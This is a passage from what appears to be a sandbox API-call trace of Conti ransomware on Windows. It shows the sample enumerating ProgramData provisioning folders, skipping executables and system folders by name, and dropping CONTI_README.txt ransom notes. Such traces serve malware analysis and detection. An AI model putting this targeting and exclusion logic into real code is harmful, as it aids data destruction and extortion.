	[0106.415] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.415] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.415] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1
	[0106.415] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2=".") returned 1
	[0106.415] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2="..") returned 1
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.415] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.415] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned 89
	[0106.415] lstrlenW (lpString="0__Power_Policy.provxml") returned 23
	[0106.415] GetProcessHeap () returned 0x1720000
	[0106.415] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c7180
	[0106.415] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime"
	[0106.415] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\"
	[0106.415] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\", lpString2="0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.415] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53447efb, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53447efb, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53447efb, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.415] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.415] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.415] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.415] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.415] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53447efb, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53447efb, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53447efb, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.416] GetProcessHeap () returned 0x1720000
	[0106.416] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.416] FindClose (in: hFindFile=0x17c82f0 | out: hFindFile=0x17c82f0) returned 1
	[0106.416] GetProcessHeap () returned 0x1720000
	[0106.416] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.416] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.416] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.416] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.416] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.416] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned 81
	[0106.416] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.416] GetProcessHeap () returned 0x1720000
	[0106.416] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cbe68
	[0106.416] lstrcpyW (in: lpString1=0x17cbe68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov"
	[0106.416] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\"
	[0106.416] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml"
	[0106.416] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.416] GetProcessHeap () returned 0x1720000
	[0106.416] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65103e8 | out: hHeap=0x1720000) returned 1
	[0106.416] FindClose (in: hFindFile=0x17c8330 | out: hFindFile=0x17c8330) returned 1
	[0106.416] GetProcessHeap () returned 0x1720000
	[0106.416] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.417] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.417] GetProcessHeap () returned 0x1720000
	[0106.417] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ec00 | out: hHeap=0x1720000) returned 1
	[0106.417] FindClose (in: hFindFile=0x17c80f0 | out: hFindFile=0x17c80f0) returned 1
	[0106.417] GetProcessHeap () returned 0x1720000
	[0106.417] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
	[0106.417] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2=".") returned 1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="..") returned 1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="tmp") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="winnt") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="Application Data") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="AppData") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="temp") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="thumb") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="$Recycle.Bin") returned 1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="$RECYCLE.BIN") returned 1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="System Volume Information") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="Program Files") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="Program Files (x86)") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="Boot") returned -1
	[0106.417] lstrcmpiW (lpString1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="Windows") returned -1
	[0106.417] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.417] lstrlenW (lpString="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned 38
	[0106.417] GetProcessHeap () returned 0x1720000
	[0106.417] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173e960
	[0106.417] lstrcpyW (in: lpString1=0x173e960, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.417] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.417] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}"
	[0106.417] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned 76
	[0106.417] GetProcessHeap () returned 0x1720000
	[0106.417] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173eca8
	[0106.417] lstrcpyW (in: lpString1=0x173eca8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}"
	[0106.417] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*"
	[0106.418] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned 76
	[0106.418] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.418] GetProcessHeap () returned 0x1720000
	[0106.418] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cbcd8
	[0106.418] lstrcpyW (in: lpString1=0x17cbcd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}"
	[0106.418] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\"
	[0106.418] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\CONTI_README.txt"
	[0106.418] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.426] GetProcessHeap () returned 0x1720000
	[0106.426] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbcd8 | out: hHeap=0x1720000) returned 1
	[0106.426] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.427] CloseHandle (hObject=0x398) returned 1
	[0106.427] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5346df4d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0106.427] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.427] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5346df4d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.427] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.427] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.427] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5346df4d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5346df4d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5346df4d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.427] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.427] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.427] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.427] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.427] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x65f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.427] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.427] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.427] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.427] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.428] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.428] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.428] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.428] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.428] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.428] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.428] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned 76
	[0106.428] lstrlenW (lpString="customizations.xml") returned 18
	[0106.428] GetProcessHeap () returned 0x1720000
	[0106.428] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x17cbcd8
	[0106.428] lstrcpyW (in: lpString1=0x17cbcd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}"
	[0106.428] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\"
	[0106.428] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"
	[0106.428] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.428] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.428] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.428] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.428] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned 76
	[0106.428] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.428] GetProcessHeap () returned 0x1720000
	[0106.428] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d3d8
	[0106.428] lstrcpyW (in: lpString1=0x181d3d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}"
	[0106.428] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\"
	[0106.428] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml"
	[0106.429] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
